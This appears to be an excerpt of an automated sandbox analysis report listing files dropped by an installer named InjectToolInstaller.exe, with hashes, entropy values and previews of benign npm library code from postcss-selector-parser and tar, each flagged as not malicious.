Preview:	"use strict";..exports.__esModule = true;.exports["default"] = void 0;.var _cssesc = _interopRequireDefault(require("cssesc"));.var _util = require("../util");.var _node = _interopRequireDefault(require("./node"));.function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }.function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable \|\| false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }.function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, "prototype", { writable: false }); return Constructor; }.function _inheritsLoose(subClass, superClass) { subClass.prototype = Object.create(

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\selectors\nesting.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.9511961297901665
Encrypted:	false
SSDEEP:	24:4s/52mGIH0pFONYchaArEHbt00aFKsv4pQRLDbBm:4s/4mGU0X05AArEHbt0PFKsv4eRnbM
MD5:	7866EF7E21C35278B5632ED4246A8DB5
SHA1:	50243157DB2BEBBD126A396EBD0A5E0E16DE9ADB
SHA-256:	CA0876FB9A5755D8A7006DDE54217E24E5F12F58C7BE096E32E1631A82897E43
SHA-512:	00BFF2EDCBDC8C08931FD8FDAE99FCFD2D1CE56550857C476D3F57CC8AA42E6B67CBC5701F50669F17F5F17EF87F260ED4D757796F618FC770B712CD9793A5BF
Malicious:	false
Preview:	"use strict";..exports.__esModule = true;.exports["default"] = void 0;.var _node = _interopRequireDefault(require("./node"));.var _types = require("./types");.function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }.function _inheritsLoose(subClass, superClass) { subClass.prototype = Object.create(superClass.prototype); subClass.prototype.constructor = subClass; _setPrototypeOf(subClass, superClass); }.function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }.var Nesting = /#__PURE__/function (_Node) {. _inheritsLoose(Nesting, _Node);. function Nesting(opts) {. var _this;. _this = _Node.call(this, opts) \|\| this;. _this.type = _types.NESTING;. _this.value = '&';. return _this;. }. return Nesting;.}(_node["default"]);.exports["default"] = Nesting;.module.exports = exports.default;

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\selectors\node.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (317)
Category:	dropped
Size (bytes):	6690
Entropy (8bit):	4.680345554958275
Encrypted:	false
SSDEEP:	192:LRPR4pHU8lP0PpnJ+KZi3AQkL90OMQe62G+0yKlR+bvdjVG+0e2nwd5+wP7Ncodt:LRPRXYJkOkRMd0RwjDeKiWepdR4rWep7
MD5:	C8E2F6AED6D7F2837AEE747CD5D3A037
SHA1:	9BC3AB10ABA9A100B7F9A5B09D4D499AEB2C31FD
SHA-256:	4289E3C3D5ABED00BA52763A35CA89C4C4C293633C8193E6B21BDA2A88D69AE9
SHA-512:	8FF9C18D24B81AFDE26DB72A238032E81DC5FF424B4BB13EF2FD5D1069723331FAF6E4C3EBA496085D0B8F8C99CF8B542F82CA00E893C5B6037C7B891622DACD
Malicious:	false
Preview:	"use strict";..exports.__esModule = true;.exports["default"] = void 0;.var _util = require("../util");.function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable \|\| false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }.function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, "prototype", { writable: false }); return Constructor; }.var cloneNode = function cloneNode(obj, parent) {. if (typeof obj !== 'object' \|\| obj === null) {. return obj;. }. var cloned = new obj.constructor();. for (var i in obj) {. if (!obj.hasOwnProperty(i)) {. continue;. }. var value = obj[i];. var type = typeof value;.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\selectors\pseudo.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1255
Entropy (8bit):	4.956425439580541
Encrypted:	false
SSDEEP:	24:4sxF2mGIH0pFONYchaArEHbusvoIgsFKsv9R6cZ087xQAtjpyxCltBm:4sxUmGU0X05AArEHbuspFKsv9RJ7mA5C
MD5:	5765AD79A9CE61A90947373FA29FBA71
SHA1:	8F38746EA26C09182C21269B9E66E71B5EB8B62E
SHA-256:	A3CAE78D57FA9D4CC94FF36D5FFA96F88E3996F7A0A093E848D38BCA92EB67D1
SHA-512:	ED481EC8C5934F3339A84AEB940EF1838763BCB065DC1198D2A01754433CA5DB217287EF4838F60C6092BA252704247EFDF89D25A1FC715C55C7D8FB20E4AA0F
Malicious:	false
Preview:	"use strict";..exports.__esModule = true;.exports["default"] = void 0;.var _container = _interopRequireDefault(require("./container"));.var _types = require("./types");.function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }.function _inheritsLoose(subClass, superClass) { subClass.prototype = Object.create(superClass.prototype); subClass.prototype.constructor = subClass; _setPrototypeOf(subClass, superClass); }.function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }.var Pseudo = /#__PURE__/function (_Container) {. _inheritsLoose(Pseudo, _Container);. function Pseudo(opts) {. var _this;. _this = _Container.call(this, opts) \|\| this;. _this.type = _types.PSEUDO;. return _this;. }. var _proto = Pseudo.prototype;. _proto.toString = function toString() {. var params = this.length ? '('

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\selectors\root.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (317)
Category:	dropped
Size (bytes):	2146
Entropy (8bit):	4.795818445582559
Encrypted:	false
SSDEEP:	48:4sxUmGU0XwABut2jtPRl05AArEHbV4KFKsvjRuxps6Hu2VfXEhM:4sxU82jtPRB7VPrRuVHXEhM
MD5:	EFDA23D0CD77793C1F2D0E3FEEC15E2F
SHA1:	373ADF417443827984BB201A6D2D8BB199858F0E
SHA-256:	75161E1C4508296EBD7C1B14517806EE2B610397EBB156FB0F849AEA88113A1E
SHA-512:	C4DBB59667E15A685988DBF908B9475BDDF02CDF37B1F3BE95BCE4539AFABC4CD5DE51C71E6F3520122353B562536BAD3E94EB9C131C01790ADACEDD4AC90447
Malicious:	false
Preview:	"use strict";..exports.__esModule = true;.exports["default"] = void 0;.var _container = _interopRequireDefault(require("./container"));.var _types = require("./types");.function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }.function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable \|\| false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }.function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, "prototype", { writable: false }); return Constructor; }.function _inheritsLoose(subClass, superClass) { subClass.prototype = Object.create(superClass.prototype); subClass.prototype.cons

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\selectors\selector.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1007
Entropy (8bit):	4.893596804050525
Encrypted:	false
SSDEEP:	24:4sxF2mGIH0pFONYchaArEHb2hvvPqOgsFKsvIRHNoBm:4sxUmGU0X05AArEHb2h1FKsvIRtoM
MD5:	300CBCC60228DCDE430A6418C31374BE
SHA1:	F5CE52DF726131B28CB77E53C5A720CB28C5D7B0
SHA-256:	EDEF837BDEF73DF4F9F5D60FBC731EB338EB3BFD43ADEB4E46E30F5FAB812BB8
SHA-512:	2E8F1D987586F52BD717DD0B6577B6368DD6D37AB89250751C48D15E50529D7E737D8680FA9A33D2F6831ADFC84F59B9BCB8D771C0FCEBE19971906A165FAE07
Malicious:	false
Preview:	"use strict";..exports.__esModule = true;.exports["default"] = void 0;.var _container = _interopRequireDefault(require("./container"));.var _types = require("./types");.function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }.function _inheritsLoose(subClass, superClass) { subClass.prototype = Object.create(superClass.prototype); subClass.prototype.constructor = subClass; _setPrototypeOf(subClass, superClass); }.function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }.var Selector = /#__PURE__/function (_Container) {. _inheritsLoose(Selector, _Container);. function Selector(opts) {. var _this;. _this = _Container.call(this, opts) \|\| this;. _this.type = _types.SELECTOR;. return _this;. }. return Selector;.}(_container["default"]);.exports["default"] = Selector;.module.exports = exports.d

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\selectors\string.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	965
Entropy (8bit):	4.951923652306818
Encrypted:	false
SSDEEP:	24:4s/52mGIH0pFONYchaArEHbCcobaFKsvxyRYDkBm:4s/4mGU0X05AArEHb8OFKsvxyRykM
MD5:	65AEE419B51584ACEFBF39F4C4E58AA2
SHA1:	2564D99AA319D047334CD59B1F7F9CEB54897205
SHA-256:	662B6AAF56F3D1723977593462687DBA15A20E599289D534BC60B26263F2F63E
SHA-512:	FAAF7E2BB24FF9A81B0EFF628D071801568F1E8D41BE417E22ADCD95E1802B996F772F85794799E0C3F17D506041664842E2350E6AFF2DEEAE278CFD4D3DF389
Malicious:	false
Preview:	"use strict";..exports.__esModule = true;.exports["default"] = void 0;.var _node = _interopRequireDefault(require("./node"));.var _types = require("./types");.function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }.function _inheritsLoose(subClass, superClass) { subClass.prototype = Object.create(superClass.prototype); subClass.prototype.constructor = subClass; _setPrototypeOf(subClass, superClass); }.function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }.var String = /#__PURE__/function (_Node) {. _inheritsLoose(String, _Node);. function String(opts) {. var _this;. _this = _Node.call(this, opts) \|\| this;. _this.type = _types.STRING;. return _this;. }. return String;.}(_node["default"]);.exports["default"] = String;.module.exports = exports.default;

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\selectors\tag.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.9570792386869424
Encrypted:	false
SSDEEP:	24:4sOTs52mGIH0pFONYchaArEHbTPTVFKsvJRzENBm:4s14mGU0X05AArEHbTrVFKsvJRoNM
MD5:	0F1BF13ABABC30447A6D9629ED93FD7F
SHA1:	8A5DAEE49E34396C293B24C2FF61A9830B8221B4
SHA-256:	C7C2AAD4E93696BF03DF2BC155B932356F8CAA7B9251C06BF55AD1015EE542BE
SHA-512:	45D9A6F0591F913E4A0F01B8390E68645D7861D0E3B1581F7FA90C17D57A3B5511A0C85912EA5EABD0B7B90039340A4E0AE25CBD80E9C249090356C53CAF9295
Malicious:	false
Preview:	"use strict";..exports.__esModule = true;.exports["default"] = void 0;.var _namespace = _interopRequireDefault(require("./namespace"));.var _types = require("./types");.function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }.function _inheritsLoose(subClass, superClass) { subClass.prototype = Object.create(superClass.prototype); subClass.prototype.constructor = subClass; _setPrototypeOf(subClass, superClass); }.function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }.var Tag = /#__PURE__/function (_Namespace) {. _inheritsLoose(Tag, _Namespace);. function Tag(opts) {. var _this;. _this = _Namespace.call(this, opts) \|\| this;. _this.type = _types.TAG;. return _this;. }. return Tag;.}(_namespace["default"]);.exports["default"] = Tag;.module.exports = exports.default;

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\selectors\types.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	849
Entropy (8bit):	4.986509354137994
Encrypted:	false
SSDEEP:	24:4sBFHohOmCXQ0QpJN3J26oCV7CogQQmRxJ1mKrOmReiKXQUiFe94nBFNen:4swhOmCgVpJN52pCdhJhb1mKrOmReiKV
MD5:	C0871C9AD7CFEBB4E9B0FDD8B14741D6
SHA1:	55757DE255F7F6B8E470C841B72B4A5B6A15D101
SHA-256:	04B35CF17366457A619BC2392B0B3A14A4073503634C6AE7C4985EB83EF32646
SHA-512:	B62890397489764CE08D45D1CE2C5AB61B5BECAF14B27E4371D14A5777E2F2611FE55D32698465E59FFA6190A835D751A551754BBD3EC5885C5E934A2692736B
Malicious:	false
Preview:	"use strict";..exports.__esModule = true;.exports.UNIVERSAL = exports.TAG = exports.STRING = exports.SELECTOR = exports.ROOT = exports.PSEUDO = exports.NESTING = exports.ID = exports.COMMENT = exports.COMBINATOR = exports.CLASS = exports.ATTRIBUTE = void 0;.var TAG = 'tag';.exports.TAG = TAG;.var STRING = 'string';.exports.STRING = STRING;.var SELECTOR = 'selector';.exports.SELECTOR = SELECTOR;.var ROOT = 'root';.exports.ROOT = ROOT;.var PSEUDO = 'pseudo';.exports.PSEUDO = PSEUDO;.var NESTING = 'nesting';.exports.NESTING = NESTING;.var ID = 'id';.exports.ID = ID;.var COMMENT = 'comment';.exports.COMMENT = COMMENT;.var COMBINATOR = 'combinator';.exports.COMBINATOR = COMBINATOR;.var CLASS = 'class';.exports.CLASS = CLASS;.var ATTRIBUTE = 'attribute';.exports.ATTRIBUTE = ATTRIBUTE;.var UNIVERSAL = 'universal';.exports.UNIVERSAL = UNIVERSAL;

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\selectors\universal.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1036
Entropy (8bit):	4.967232470309054
Encrypted:	false
SSDEEP:	24:4sOTs52mGIH0pFONYchaArEHbIjfoQTVFKsvIFe1FQRUesEoqe7Bm:4s14mGU0X05AArEHb+9VFKsvRYRHDolA
MD5:	E1D95A4059017A3C8C9ECEF9C7D1247C
SHA1:	75A76DB492603DA6A288F32B895B82F27FE1950D
SHA-256:	20FCF271BBAA8415CD5849B75A23545C130E8AF629749696423F31C3F1243BA4
SHA-512:	949E08DC321B64346717C015054CB81B913F0D7112FB81D713DB67DBFCD3905F356D149CAFE928132FCB25F177759698EC414156E350B8041F22FCF53C4B0339
Malicious:	false
Preview:	"use strict";..exports.__esModule = true;.exports["default"] = void 0;.var _namespace = _interopRequireDefault(require("./namespace"));.var _types = require("./types");.function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }.function _inheritsLoose(subClass, superClass) { subClass.prototype = Object.create(superClass.prototype); subClass.prototype.constructor = subClass; _setPrototypeOf(subClass, superClass); }.function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }.var Universal = /#__PURE__/function (_Namespace) {. _inheritsLoose(Universal, _Namespace);. function Universal(opts) {. var _this;. _this = _Namespace.call(this, opts) \|\| this;. _this.type = _types.UNIVERSAL;. _this.value = '*';. return _this;. }. return Universal;.}(_namespace["default"]);.exports["default"] = Universa

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\sortAscending.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	207
Entropy (8bit):	4.606442480339632
Encrypted:	false
SSDEEP:	3:jTq3B/ycxHQZNg/NBfGqQwWULFwo+zXLrDQCNOFH3Ho++FI6GAvevDBbp/Yge:4qcFQqbEUCBDS3Ivy6FwDB9c
MD5:	F1D30CBCAFD595534D0CB8F9E48B498A
SHA1:	1B9C82F234F81800BF2276DB9574FEA0BFCE661B
SHA-256:	E0AB6D0C0199B9F58DD6E85A0C47BEB6CA9D2F58572E05E5B05E7DDE8A2C2D90
SHA-512:	FDA31D8795EEF162D7A8B0131983F52D3DAA48B0CD9B4D6BAB2598079B135CC23558C288104F31270945CC62B799191E8DC7B554EC29F9464036161D1D82F957
Malicious:	false
Preview:	"use strict";..exports.__esModule = true;.exports["default"] = sortAscending;.function sortAscending(list) {. return list.sort(function (a, b) {. return a - b;. });.}.;.module.exports = exports.default;

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\tokenTypes.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (564)
Category:	dropped
Size (bytes):	2698
Entropy (8bit):	4.90538777950111
Encrypted:	false
SSDEEP:	48:4sGtffQCLA8mPSeHa+JSsmGh1eRj34X9k9yHPvkzcERZVF8/UpawCWeqzSjKVNh6:4sG6CLArPSeHP19h1eRz4X9MyvvkzcE0
MD5:	D249464E7EFAE419822BF47E899F5828
SHA1:	1870E4DDD397FD08BF11E40973BF2845B0B014B6
SHA-256:	C7C064A928453297BE1EB09493E3714A65E2FE9B6CC96E194B19181819E518A2
SHA-512:	C9470CC1F1F0204A70CF7C0DD8E4944DD743263B4D6EB6FD41AF76AE631409238C6414DE36C8DC011B76F1A252100B4AA20D2DEEA70B906F3A211A1BCCC6DF92
Malicious:	false
Preview:	"use strict";..exports.__esModule = true;.exports.word = exports.tilde = exports.tab = exports.str = exports.space = exports.slash = exports.singleQuote = exports.semicolon = exports.plus = exports.pipe = exports.openSquare = exports.openParenthesis = exports.newline = exports.greaterThan = exports.feed = exports.equals = exports.doubleQuote = exports.dollar = exports.cr = exports.comment = exports.comma = exports.combinator = exports.colon = exports.closeSquare = exports.closeParenthesis = exports.caret = exports.bang = exports.backslash = exports.at = exports.asterisk = exports.ampersand = void 0;.var ampersand = 38; // `&`.charCodeAt(0);.exports.ampersand = ampersand;.var asterisk = 42; // `*`.charCodeAt(0);.exports.asterisk = asterisk;.var at = 64; // `@`.charCodeAt(0);.exports.at = at;.var comma = 44; // `,`.charCodeAt(0);.exports.comma = comma;.var colon = 58; // `:`.charCodeAt(0);.exports.colon = colon;.var semicolon = 59; // `;`.charCodeAt(0);.exports.semicolon = semicolon;.var

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\tokenize.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (942)
Category:	dropped
Size (bytes):	8451
Entropy (8bit):	4.669140283354983
Encrypted:	false
SSDEEP:	192:h9p6k5yeljANs4AQLVjOQBcZivgdBAS9bV+SbDygDKF:hL95JjSHS9RTy/
MD5:	D03EDD7F2DB9483EA099C247CF5AAB05
SHA1:	06199609CBA0562DED687732A8F805F7C6AFC016
SHA-256:	991E468856188DC5C5AB9177B21004EFE5E8825E8BB713DAE67A97BE6A044531
SHA-512:	B6227A19165F1279B5319CB5859F1A6ACE62577DC69B7D84BCF336CD9C76977F5047415270F61C7A195B028D8C10EB6ED459B2A07F76DB158AE9310CA75F1491
Malicious:	false
Preview:	"use strict";..exports.__esModule = true;.exports.FIELDS = void 0;.exports["default"] = tokenize;.var t = _interopRequireWildcard(require("./tokenTypes"));.var _unescapable, _wordDelimiters;.function _getRequireWildcardCache(nodeInterop) { if (typeof WeakMap !== "function") return null; var cacheBabelInterop = new WeakMap(); var cacheNodeInterop = new WeakMap(); return (_getRequireWildcardCache = function _getRequireWildcardCache(nodeInterop) { return nodeInterop ? cacheNodeInterop : cacheBabelInterop; })(nodeInterop); }.function _interopRequireWildcard(obj, nodeInterop) { if (!nodeInterop && obj && obj.__esModule) { return obj; } if (obj === null \|\| typeof obj !== "object" && typeof obj !== "function") { return { "default": obj }; } var cache = _getRequireWildcardCache(nodeInterop); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (key !== "default" &

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\util\ensureObject.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	431
Entropy (8bit):	4.815157669246628
Encrypted:	false
SSDEEP:	12:4sDJpXLuxAcm0fPFptTnazZXX+AddD07mUb0Bm:4sDJpXLuxAcx9azN/D07mUb0Bm
MD5:	7D4CA0C5348BEC8FB423A4635434BA67
SHA1:	319A6A8796B00F9BCD2852220927DE85B2057B17
SHA-256:	5AEAA559248B7EC536BFAFC90C8115D89602C13AA060C016217CB80F64267922
SHA-512:	FE5D261AE8123A7A5E54F963F7211F1CFE19FF99EBB8C325ED218D54772524B0BE988E7A4D9853FF093BCF4884627B99BD749E35B3743AF367B92FC13040079F
Malicious:	false
Preview:	"use strict";..exports.__esModule = true;.exports["default"] = ensureObject;.function ensureObject(obj) {. for (var _len = arguments.length, props = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {. props[_key - 1] = arguments[_key];. }. while (props.length > 0) {. var prop = props.shift();. if (!obj[prop]) {. obj[prop] = {};. }. obj = obj[prop];. }.}.module.exports = exports.default;

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\util\getProp.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	437
Entropy (8bit):	4.780860910613772
Encrypted:	false
SSDEEP:	12:4sasEELuxAcm0fPFptTnazZXX+AdicEvy7mnHY0Bm:4saslLuxAcx9azNHGy7mHY0Bm
MD5:	2F6E87C5A3922FC0953CCCFAC92B8D99
SHA1:	8788FFDC51CEED6AF171F80759413116FF4F20B3
SHA-256:	25FCACA0A0A2B58001FF4D48D84A34F5968E44634D0C8570EAA5A24619B2791C
SHA-512:	CFA04BEB3EBBF001B8559DCD8E78520536C7A4A583FC96A8976E39D104BB5A86CAE54A77E184DFD679A72FA77B16643692CF493DDB80334FF35C95E4C336D52E
Malicious:	false
Preview:	"use strict";..exports.__esModule = true;.exports["default"] = getProp;.function getProp(obj) {. for (var _len = arguments.length, props = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {. props[_key - 1] = arguments[_key];. }. while (props.length > 0) {. var prop = props.shift();. if (!obj[prop]) {. return undefined;. }. obj = obj[prop];. }. return obj;.}.module.exports = exports.default;

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	765
Entropy (8bit):	4.999520559493967
Encrypted:	false
SSDEEP:	12:9FM9Z7TES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9SZvICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	82703A69F6D7411DDE679954C2FD9DCA
SHA1:	BB408E929CAEB1731945B2BA54BC337EDB87CC66
SHA-256:	4EC3D4C66CD87F5C8D8AD911B10F99BF27CB00CDFCFF82621956E379186B016B
SHA-512:	3FA748E59FB3AF0C5293530844FAA9606D9271836489D2C8013417779D10CC180187F5E670477F9EC77D341E0EF64EAB7DCFB876C6390F027BC6F869A12D0F46
Malicious:	false
Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\lib\create.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2395
Entropy (8bit):	4.6836600373308945
Encrypted:	false
SSDEEP:	48:HelB+6Sa3XSaU76k1YjJui8kOjYo/vw3n+f7rl42dpdf7rlB64w4Pr+hb:HemrYjJuEOco/vw3nQrdpd3Pi4Pyhb
MD5:	BB2DFF2891167E1F96109F9A3D43D5FD
SHA1:	CBFD6565813E0C5C6CD67F56481F35BBBAA98729
SHA-256:	4C3E1E44B29724599D5D5AE53604CE6D4DA7177365B7D4AB17A0747C8E5E99FE
SHA-512:	73325C7CAFD86DBD7D951C101E50D65DBF02133768AE340CF3686242EF2C49DBE95D140700266E10C66A49B792583AE3841027082933AA698C99D80700A1763A
Malicious:	false
Preview:	'use strict'..// tar -c.const hlo = require('./high-level-opt.js')..const Pack = require('./pack.js').const fsm = require('fs-minipass').const t = require('./list.js').const path = require('path')..module.exports = (opt_, files, cb) => {. if (typeof files === 'function') {. cb = files. }.. if (Array.isArray(opt_)) {. files = opt_, opt_ = {}. }.. if (!files \|\| !Array.isArray(files) \|\| !files.length) {. throw new TypeError('no files or directories specified'). }.. files = Array.from(files).. const opt = hlo(opt_).. if (opt.sync && typeof cb === 'function') {. throw new TypeError('callback not supported for sync tar functions'). }.. if (!opt.file && typeof cb === 'function') {. throw new TypeError('callback only supported with file option'). }.. return opt.file && opt.sync ? createFileSync(opt, files). : opt.file ? createFile(opt, files, cb). : opt.sync ? createSync(opt, files). : create(opt, files).}..const createFileSync = (opt, files) => {. const p

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\lib\extract.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2852
Entropy (8bit):	4.689737250076313
Encrypted:	false
SSDEEP:	48:vfxheAA+WoqlYSSa3XSaU7Ieb9WCXonuc6XMZ9efcqoip+qj9VrBDyjkeU:3xhNJtECXpc6Xyecqoiwqj9by4T
MD5:	3DBC6B44D52541D56597DE253FEA651A
SHA1:	28F1DF576C5832ACDBF81713A275AA0DCCD65672
SHA-256:	6E1D4FD9353FDA202CB44860615BE56E031A9274F18841C86DD0B974ABFD6760
SHA-512:	91E66A7FA21C67964DE1094AF33CAD4915F30F5643D77F793299C62D8E48FDB34AE434EE9E244D4B9EE27AB0BAB7A7FA0DD441C51D1FA7B01665068FA134D355
Malicious:	false
Preview:	'use strict'..// tar -x.const hlo = require('./high-level-opt.js').const Unpack = require('./unpack.js').const fs = require('fs').const fsm = require('fs-minipass').const path = require('path').const stripSlash = require('./strip-trailing-slashes.js')..module.exports = (opt_, files, cb) => {. if (typeof opt_ === 'function') {. cb = opt_, files = null, opt_ = {}. } else if (Array.isArray(opt_)) {. files = opt_, opt_ = {}. }.. if (typeof files === 'function') {. cb = files, files = null. }.. if (!files) {. files = []. } else {. files = Array.from(files). }.. const opt = hlo(opt_).. if (opt.sync && typeof cb === 'function') {. throw new TypeError('callback not supported for sync tar functions'). }.. if (!opt.file && typeof cb === 'function') {. throw new TypeError('callback only supported with file option'). }.. if (files.length) {. filesFilter(opt, files). }.. return opt.file && opt.sync ? extractFileSync(opt). : opt.file ? extractFile(opt, cb).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\lib\get-write-flag.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	921
Entropy (8bit):	5.194308145135213
Encrypted:	false
SSDEEP:	12:jFFKCymbtBBvf0IxRjoQFIjgrxeF2OCcJQCntrQX8gYI1MwUUoRFzHpuaUGrexfe:h6qtH71HB4uuFqYFRjzH0WHDBdx/4q
MD5:	E27EA83AC58369E976DC27342F20AF62
SHA1:	FB3D7CBFE4879249DDCD1AC7371973A1205B3A85
SHA-256:	A856006693499F10E3B9FF08DC0A81BFE54451322C3A1312D891FAC5FC150C7E
SHA-512:	D3572259B118F2DC033124EEB4E988B4DD13955AA9B1B1286D69838CD8E0FF3030264D92E345795F433E9D6B57E6464849671F43FE8E1B028DC82A068DB86E64
Malicious:	false
